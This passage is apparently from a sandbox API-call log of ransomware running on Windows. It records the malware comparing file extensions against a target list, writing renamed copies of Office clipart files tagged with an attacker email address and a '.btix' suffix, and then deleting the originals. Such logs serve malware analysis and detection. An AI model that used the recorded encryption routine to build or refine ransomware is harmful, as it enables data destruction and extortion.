(lpString1=".zip", lpString2=".WMF") returned 1 [0157.859] lstrlenW (lpString=".rar") returned 4 [0157.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString=".bz2") returned 4 [0157.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString=".7z") returned 3 [0157.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0157.859] lstrlenW (lpString=".dbf") returned 4 [0157.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0157.859] lstrlenW (lpString=".1cd") returned 4 [0157.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0157.859] lstrlenW (lpString=".jpg") returned 4 [0157.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.860] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.860] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198494.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0157.861] GetLastError () returned 0x0 [0157.861] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xae08, lpOverlapped=0x0) returned 1 [0157.864] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xae10, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xae10, lpOverlapped=0x0) returned 1 [0157.867] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.867] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.867] SetEndOfFile (hFile=0x3a4) returned 1 [0157.868] CloseHandle (hObject=0x3a4) returned 1 [0157.868] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.868] SetEndOfFile (hFile=0x368) returned 1 [0157.869] CloseHandle (hObject=0x368) returned 1 [0157.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198494.wmf")) returned 1 [0157.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0157.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0157.870] lstrlenW (lpString=".doc") returned 4 [0157.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.870] lstrlenW (lpString=".docx") returned 5 [0157.870] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.870] lstrlenW (lpString=".pdf") returned 4 [0157.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.870] lstrlenW (lpString=".xls") returned 4 [0157.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.870] lstrlenW (lpString=".xlsx") returned 5 [0157.870] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.870] lstrlenW (lpString=".ppt") returned 4 [0157.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0157.870] lstrlenW (lpString=".zip") returned 4 [0157.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.870] lstrlenW (lpString=".rar") returned 4 [0157.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.870] lstrlenW (lpString=".bz2") returned 4 [0157.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.870] lstrlenW (lpString=".7z") returned 3 [0157.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0157.870] lstrlenW (lpString=".dbf") returned 4 [0157.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0157.870] lstrlenW (lpString=".1cd") returned 4 [0157.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0157.870] lstrlenW (lpString=".jpg") returned 4 [0157.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.871] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.871] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0157.872] GetLastError () returned 0x0 [0157.872] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xe17a, lpOverlapped=0x0) returned 1 [0157.875] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xe180, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xe180, lpOverlapped=0x0) returned 1 [0157.876] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.876] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.876] SetEndOfFile (hFile=0x3a4) returned 1 [0157.876] CloseHandle (hObject=0x3a4) returned 1 [0157.876] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.876] SetEndOfFile (hFile=0x368) returned 1 [0157.877] CloseHandle (hObject=0x368) returned 1 [0157.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf")) returned 1 [0157.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0157.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0157.878] lstrlenW (lpString=".doc") returned 4 [0157.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.879] lstrlenW (lpString=".docx") returned 5 [0157.879] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.879] lstrlenW (lpString=".pdf") returned 4 [0157.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.879] lstrlenW (lpString=".xls") returned 4 [0157.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.879] lstrlenW (lpString=".xlsx") returned 5 [0157.879] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.879] lstrlenW (lpString=".ppt") returned 4 [0157.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0157.879] lstrlenW (lpString=".zip") returned 4 [0157.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.879] lstrlenW (lpString=".rar") returned 4 [0157.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.879] lstrlenW (lpString=".bz2") returned 4 [0157.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.879] lstrlenW (lpString=".7z") returned 3 [0157.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0157.879] lstrlenW (lpString=".dbf") returned 4 [0157.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0157.879] lstrlenW (lpString=".1cd") returned 4 [0157.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF") returned 68 [0157.879] lstrlenW (lpString=".jpg") returned 4 [0157.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.880] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.880] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0157.881] GetLastError () returned 0x0 [0157.881] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x714e, lpOverlapped=0x0) returned 1 [0157.892] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x7150, lpOverlapped=0x0) returned 1 [0157.894] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.894] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.894] SetEndOfFile (hFile=0x3a4) returned 1 [0157.894] CloseHandle (hObject=0x3a4) returned 1 [0157.894] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.894] SetEndOfFile (hFile=0x368) returned 1 [0157.895] CloseHandle (hObject=0x368) returned 1 [0157.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf")) returned 1 [0158.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0158.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0158.324] lstrlenW (lpString=".doc") returned 4 [0158.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.324] lstrlenW (lpString=".docx") returned 5 [0158.324] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0158.324] lstrlenW (lpString=".pdf") returned 4 [0158.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.331] lstrlenW (lpString=".xls") returned 4 [0158.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.332] lstrlenW (lpString=".xlsx") returned 5 [0158.332] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0158.332] lstrlenW (lpString=".ppt") returned 4 [0158.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0158.332] lstrlenW (lpString=".zip") returned 4 [0158.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.332] lstrlenW (lpString=".rar") returned 4 [0158.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.332] lstrlenW (lpString=".bz2") returned 4 [0158.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.332] lstrlenW (lpString=".7z") returned 3 [0158.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0158.332] lstrlenW (lpString=".dbf") returned 4 [0158.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0158.332] lstrlenW (lpString=".1cd") returned 4 [0158.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF") returned 68 [0158.332] lstrlenW (lpString=".jpg") returned 4 [0158.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.332] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.333] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0158.333] GetLastError () returned 0x0 [0158.333] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xa0b0, lpOverlapped=0x0) returned 1 [0158.336] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xa0c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xa0c0, lpOverlapped=0x0) returned 1 [0158.337] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.337] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.337] SetEndOfFile (hFile=0x354) returned 1 [0158.337] CloseHandle (hObject=0x354) returned 1 [0158.337] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.337] SetEndOfFile (hFile=0x3a4) returned 1 [0158.338] CloseHandle (hObject=0x3a4) returned 1 [0158.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf")) returned 1 [0158.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0158.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0158.339] lstrlenW (lpString=".doc") returned 4 [0158.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.339] lstrlenW (lpString=".docx") returned 5 [0158.339] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0158.339] lstrlenW (lpString=".pdf") returned 4 [0158.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.339] lstrlenW (lpString=".xls") returned 4 [0158.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.339] lstrlenW (lpString=".xlsx") returned 5 [0158.339] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0158.339] lstrlenW (lpString=".ppt") returned 4 [0158.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0158.339] lstrlenW (lpString=".zip") returned 4 [0158.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.339] lstrlenW (lpString=".rar") returned 4 [0158.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.339] lstrlenW (lpString=".bz2") returned 4 [0158.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.339] lstrlenW (lpString=".7z") returned 3 [0158.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0158.339] lstrlenW (lpString=".dbf") returned 4 [0158.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0158.340] lstrlenW (lpString=".1cd") returned 4 [0158.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0158.340] lstrlenW (lpString=".jpg") returned 4 [0158.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.340] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.340] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0158.341] GetLastError () returned 0x0 [0158.341] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x4f08, lpOverlapped=0x0) returned 1 [0158.342] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4f10, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x4f10, lpOverlapped=0x0) returned 1 [0158.343] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.343] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.343] SetEndOfFile (hFile=0x354) returned 1 [0158.344] CloseHandle (hObject=0x354) returned 1 [0158.344] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.344] SetEndOfFile (hFile=0x3a4) returned 1 [0158.345] CloseHandle (hObject=0x3a4) returned 1 [0158.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf")) returned 1 [0158.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0158.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0158.345] lstrlenW (lpString=".doc") returned 4 [0158.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.345] lstrlenW (lpString=".docx") returned 5 [0158.345] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0158.345] lstrlenW (lpString=".pdf") returned 4 [0158.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.345] lstrlenW (lpString=".xls") returned 4 [0158.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.345] lstrlenW (lpString=".xlsx") returned 5 [0158.345] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0158.345] lstrlenW (lpString=".ppt") returned 4 [0158.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0158.346] lstrlenW (lpString=".zip") returned 4 [0158.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.346] lstrlenW (lpString=".rar") returned 4 [0158.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.346] lstrlenW (lpString=".bz2") returned 4 [0158.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.346] lstrlenW (lpString=".7z") returned 3 [0158.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0158.346] lstrlenW (lpString=".dbf") returned 4 [0158.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0158.346] lstrlenW (lpString=".1cd") returned 4 [0158.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0158.346] lstrlenW (lpString=".jpg") returned 4 [0158.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.346] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.346] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0158.347] GetLastError () returned 0x0 [0158.347] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x5398, lpOverlapped=0x0) returned 1 [0158.349] WriteFile (in: 